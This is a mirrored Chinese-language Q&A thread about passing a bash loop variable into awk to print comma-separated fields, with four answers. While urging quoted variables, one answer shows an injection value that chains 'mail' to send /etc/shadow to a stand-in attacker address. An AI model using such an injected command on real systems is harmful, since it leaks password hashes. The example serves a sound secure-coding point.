awk的shell脚本没有提供所需的输出

时间:2012-11-07 13:41:12

标签: bash shell sh

#!/bin/bash

index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F\, '{print $2}'

上面是我的shell脚本,(这只是一个演示它不应该是静态的)当我执行它时它返回值“102”它是对的。

 #!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F\, '{print $i}'
done

我想逐个打印所有数字......我错了?

我使用“null”saprated值进行了一些更改...现在我想要做出哪些更改? 获取和增加$ i的值?

output of  *some command*
1013
1023
12324
13224
3122
2421

#!/bin/bash
index=*some command*
i=1

for LINE in ${OUTPUT} ; do
    ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="\n" '{print $i}')
    i=`expr $i + 1`
done

4 个答案:

答案 0 :(得分:3)

单引号不允许变量扩展。因此"$i"扩展为$i的值,但'$i'是文字$i

假设变量将在脚本中正确扩展,这通常是不安全的。您不希望将脚本放在双引号中。相反,使用awk的$i选项将-v的值传递到awk脚本中。

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5; do
  echo "$index" | awk -F, -vi="$i" '{print $i}'
done

由于这是一个示例,并且我不确定您真的将使用for循环生成$i的值,您应该记得放双引号在$i左右,如果它包含空格或其他奇怪的字符,你不会破坏你的脚本并意外地执行你不想要的东西。虽然并不总是必要的,但总是建议在bash中引用变量。谨慎≈良好。如果$i的值为"1;mail h4x0r@example.net < /etc/shadow;true",那么您将面临危险,没有引号。使用引号,您只需要一个失败的脚本。

答案 1 :(得分:1)

您必须将i的值传递给awk:

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
    /bin/echo "$index" | /bin/awk -v i=$i -F\, '{print $i}'
done

否则,awk不知道脚本中的值i,默认情况下它取值0。所以它打印就像你说$0

答案 2 :(得分:1)

或者像这样

#!/bin/bash

index=101,102,103,104,105

IFS=','
for x in $index
do
    echo "$x"
done

IFS将在您的案例中定义分隔符“,”。然后你可以浏览元素(如数组)

答案 3 :(得分:-1)

使用双引号,以便shell扩展$i。然后,您必须引用美元符号,以防止扩展$$

awk -F, "{print \$$i}"